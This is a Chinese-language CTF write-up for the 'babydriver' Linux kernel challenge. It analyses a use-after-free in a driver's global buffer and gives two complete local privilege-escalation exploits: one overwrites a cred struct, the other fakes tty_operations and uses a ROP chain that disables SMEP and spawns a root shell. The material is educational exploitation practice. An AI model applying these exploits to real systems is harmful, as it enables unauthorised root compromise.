题目分析
首先从文件系统中找到 init
脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| #!/bin/sh mount -t proc none /proc mount -t sysfs none /sys mount -t devtmpfs devtmpfs /dev chown root:root flag chmod 400 flag exec 0</dev/console exec 1>/dev/console exec 2>/dev/console
insmod /lib/modules/4.4.72/babydriver.ko chmod 777 /dev/babydev echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n" setsid cttyhack setuidgid 1000 sh
umount /proc umount /sys poweroff -d 0 -f
|
可以发现驱动位于 /lib/modules/4.4.72/babydriver.ko
处,取出用 ida
打开,首先先看 babyioctl
函数:
在输入的 command
为 0x10001
的时候会释放全局变量 babydev_struct.device_buf
并重新申请一个大小为 size
的新 chunk
并把 size
赋予 babydev_struct.device_buf_len
然后是 babyopen
函数,会向全局变量 babydev_struct.device_buf
上弄一个新的 chunk
并初始化 babydev_struct.device_buf_len
之后是 babyrelease
函数,会释放 babydev_struct.device_buf
babyread
函数会读出 babydev_struct.device_buf
并 copy_to_user
babywrite
函数会从 copy_from_user
处读入内容到 babydev_struct.device_buf
调试
首先我们使用脚本将启动内容改为 root
并重打包。然后使用 lsmod
命令查看驱动基地址:
1 2
| / babydriver 16384 0 - Live 0xffffffffc0000000 (OE)
|
之后编写测试 exp
:
1 2 3 4 5 6 7 8 9 10
| #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h>
int main() { int fd = open("/dev/babydev", 2); close(fd); }
|
使用 extract-vmlinux
提取 vmlinux
1
| ./extract.sh bzImage > vmlinux
|
在 /proc/kallsyms
中查看符号地址
1 2
| / ffffffffc0000030 t babyopen [babydriver]
|
使用 gdb
调试
1 2 3 4
| gdb vmlinux pwndbg> add-symbol-file ./babydriver.ko 0xffffffffc0000000 pwndbg> target remote :12345 pwndbg> b *0xffffffffc0000030
|
成功
漏洞分析与利用
由于 babydev_struct.device_buf
是全局变量,所以当我们 open
两个 drive
的时候会依次更改它,然后在 close
了之后便会 release
造成一个 UAF
,如果我们在 release
之前使用 ioctl
并传入 0x10001
更改 device_buf
的 size
,那么当我们 fork
一个子进程的时候其 cred
结构体便会分配到上面去,我们再次更改即可提权。
其中 4.4.72
的 cred
结构体定义如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| struct cred { atomic_t usage; #ifdef CONFIG_DEBUG_CREDENTIALS atomic_t subscribers; void *put_addr; unsigned magic; #define CRED_MAGIC 0x43736564 #define CRED_MAGIC_DEAD 0x44656144 #endif kuid_t uid; kgid_t gid; kuid_t suid; kgid_t sgid; kuid_t euid; kgid_t egid; kuid_t fsuid; kgid_t fsgid; unsigned securebits; kernel_cap_t cap_inheritable; kernel_cap_t cap_permitted; kernel_cap_t cap_effective; kernel_cap_t cap_bset; kernel_cap_t cap_ambient; #ifdef CONFIG_KEYS unsigned char jit_keyring;
struct key __rcu *session_keyring; struct key *process_keyring; struct key *thread_keyring; struct key *request_key_auth; #endif #ifdef CONFIG_SECURITY void *security; #endif struct user_struct *user; struct user_namespace *user_ns; struct group_info *group_info; struct rcu_head rcu; };
|
大小为 0xa8
,更改其的 uid,gid
为 0
即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h>
int main() { printf("[+] Open fd\n"); int fd1 = open("/dev/babydev", 2); int fd2 = open("/dev/babydev", 2);
printf("[+] Change buf size\n"); ioctl(fd1,0x10001,0xa8);
printf("[+] Close\n"); close(fd1);
printf("[+] Fork\n"); int pid = fork(); if(pid < 0){ printf("[-] Fork error\n"); exit(0); } else{ printf("[+] Write cred\n"); char zeros[30] = {0}; write(fd2,zeros,28);
if(getuid() == 0) { printf("[+] root now\n"); system("/bin/cat /flag"); exit(0); } } }
|
bypass smep and ret2usr
另外我们也可以用另一种方式来攻击,由于我们有一个 UAF ,所以我们可以将任意的结构体修改,内核中有一个 tty_struct
结构,当我们在 open("/dev/ptmx", O_RDWR)
时会分配这样一个结构体。其源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| struct tty_struct { int magic; struct kref kref; struct device *dev; struct tty_driver *driver; const struct tty_operations *ops; int index; struct ld_semaphore ldisc_sem; struct tty_ldisc *ldisc; struct mutex atomic_write_lock; struct mutex legacy_mutex; struct mutex throttle_mutex; struct rw_semaphore termios_rwsem; struct mutex winsize_mutex; spinlock_t ctrl_lock; spinlock_t flow_lock; struct ktermios termios, termios_locked; struct termiox *termiox; char name[64]; struct pid *pgrp; struct pid *session; unsigned long flags; int count; struct winsize winsize; unsigned long stopped:1, flow_stopped:1, unused:BITS_PER_LONG - 2; int hw_stopped; unsigned long ctrl_status:8, packet:1, unused_ctrl:BITS_PER_LONG - 9; unsigned int receive_room; int flow_change; struct tty_struct *link; struct fasync_struct *fasync; wait_queue_head_t write_wait; wait_queue_head_t read_wait; struct work_struct hangup_work; void *disc_data; void *driver_data; spinlock_t files_lock; struct list_head tty_files; #define N_TTY_BUF_SIZE 4096 int closing; unsigned char *write_buf; int write_cnt; struct work_struct SAK_work; struct tty_port *port; } __randomize_layout;
|
为什么要控制这个结构体呢?因为其中有另一个很有趣的结构体 tty_operations
,源码 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| struct tty_operations { struct tty_struct * (*lookup)(struct tty_driver *driver, struct file *filp, int idx); int (*install)(struct tty_driver *driver, struct tty_struct *tty); void (*remove)(struct tty_driver *driver, struct tty_struct *tty); int (*open)(struct tty_struct * tty, struct file * filp); void (*close)(struct tty_struct * tty, struct file * filp); void (*shutdown)(struct tty_struct *tty); void (*cleanup)(struct tty_struct *tty); int (*write)(struct tty_struct * tty, const unsigned char *buf, int count); int (*put_char)(struct tty_struct *tty, unsigned char ch); void (*flush_chars)(struct tty_struct *tty); int (*write_room)(struct tty_struct *tty); int (*chars_in_buffer)(struct tty_struct *tty); int (*ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg); long (*compat_ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg); void (*set_termios)(struct tty_struct *tty, struct ktermios * old); void (*throttle)(struct tty_struct * tty); void (*unthrottle)(struct tty_struct * tty); void (*stop)(struct tty_struct *tty); void (*start)(struct tty_struct *tty); void (*hangup)(struct tty_struct *tty); int (*break_ctl)(struct tty_struct *tty, int state); void (*flush_buffer)(struct tty_struct *tty); void (*set_ldisc)(struct tty_struct *tty); void (*wait_until_sent)(struct tty_struct *tty, int timeout); void (*send_xchar)(struct tty_struct *tty, char ch); int (*tiocmget)(struct tty_struct *tty); int (*tiocmset)(struct tty_struct *tty, unsigned int set, unsigned int clear); int (*resize)(struct tty_struct *tty, struct winsize *ws); int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew); int (*get_icount)(struct tty_struct *tty, struct serial_icounter_struct *icount); void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m); #ifdef CONFIG_CONSOLE_POLL int (*poll_init)(struct tty_driver *driver, int line, char *options); int (*poll_get_char)(struct tty_driver *driver, int line); void (*poll_put_char)(struct tty_driver *driver, int line, char ch); #endif int (*proc_show)(struct seq_file *, void *); } __randomize_layout;
|
当我们伪造 tty_struct
下的 tty_operations
结构体并修改指针的时候,我们再次调用 open
等内容便会劫持控制流。
首先我们先获取内核的 prepare_kernel_cred
和 commit_creds
地址:
1 2 3 4 5
| / ffffffff810a1810 T prepare_kernel_cred
/ ffffffff810a1420 T commit_creds
|
然后我们构造 rop
链,其中我们需要把 cr4
置为 0x6f0
来关闭 smep
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| size_t rop[0x20] = {0}; rop[i++] = 0xffffffff810d238d; rop[i++] = 0x6f0; rop[i++] = 0xffffffff81004d80; rop[i++] = 0; rop[i++] = (size_t)get_root; rop[i++] = 0xffffffff81063694; rop[i++] = 0; rop[i++] = 0xffffffff814e35ef; rop[i++] = (size_t)get_shell; rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp; rop[i++] = user_ss;
|
随后构造假的 tty_operations
结构体:
1 2 3 4 5 6
| void* fake_tty_operations[30]; for(int i = 0; i < 30; i++){ fake_tty_operations[i] = 0xFFFFFFFF8181BFC5; } fake_tty_operations[0] = 0xffffffff810635f5; fake_tty_operations[1] = (size_t)rop;
|
然后连起来即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97
| #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h>
#define prepare_kernel_cred 0xffffffff810a1810 #define commit_creds 0xffffffff810a1420
void* fake_tty_operations[30];
void spawn_shell() { if(!getuid()) { system("/bin/sh"); } else { puts("[-] Spawn shell error!"); } exit(1); }
size_t user_cs, user_ss, user_rflags, user_sp; void save_status() { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts("[+] Status has been saved."); }
void get_root() { char* (*pkc)(int) = prepare_kernel_cred; void (*cc)(char*) = commit_creds; (*cc)((*pkc)(0)); }
int main(){ save_status(); int i = 0; size_t rop[0x20] = {0};
rop[i++] = 0xffffffff810d238d; rop[i++] = 0x6f0; rop[i++] = 0xffffffff81004d80; rop[i++] = 0; rop[i++] = (size_t)get_root; rop[i++] = 0xffffffff81063694; rop[i++] = 0; rop[i++] = 0xffffffff814e35ef; rop[i++] = (size_t)spawn_shell; rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp; rop[i++] = user_ss;
for(int i = 0; i < 30; i++){ fake_tty_operations[i] = 0xFFFFFFFF8181BFC5; } fake_tty_operations[0] = 0xffffffff810635f5; fake_tty_operations[1] = (size_t)rop;
printf("[+] Open babydev fd\n"); int fd1 = open("/dev/babydev", O_RDWR); int fd2 = open("/dev/babydev", O_RDWR);
printf("[+] Change buf size\n"); ioctl(fd1,0x10001,0x2e0);
printf("[+] Close\n"); close(fd1);
printf("[+] Open ptmx fd\n"); int fd_tty = open("/dev/ptmx", O_RDWR|O_NOCTTY);
printf("[+] Read tty struct\n"); size_t fake_tty_struct[4] = {0}; read(fd2, fake_tty_struct, 0x20);
printf("[+] Write tty struct\n"); fake_tty_struct[3] = (size_t)fake_tty_operations; write(fd2,fake_tty_struct, 0x20);
printf("[+] Trick poc\n"); char buf[0x8] = {0}; write(fd_tty, buf, 8);
return 0;
}
|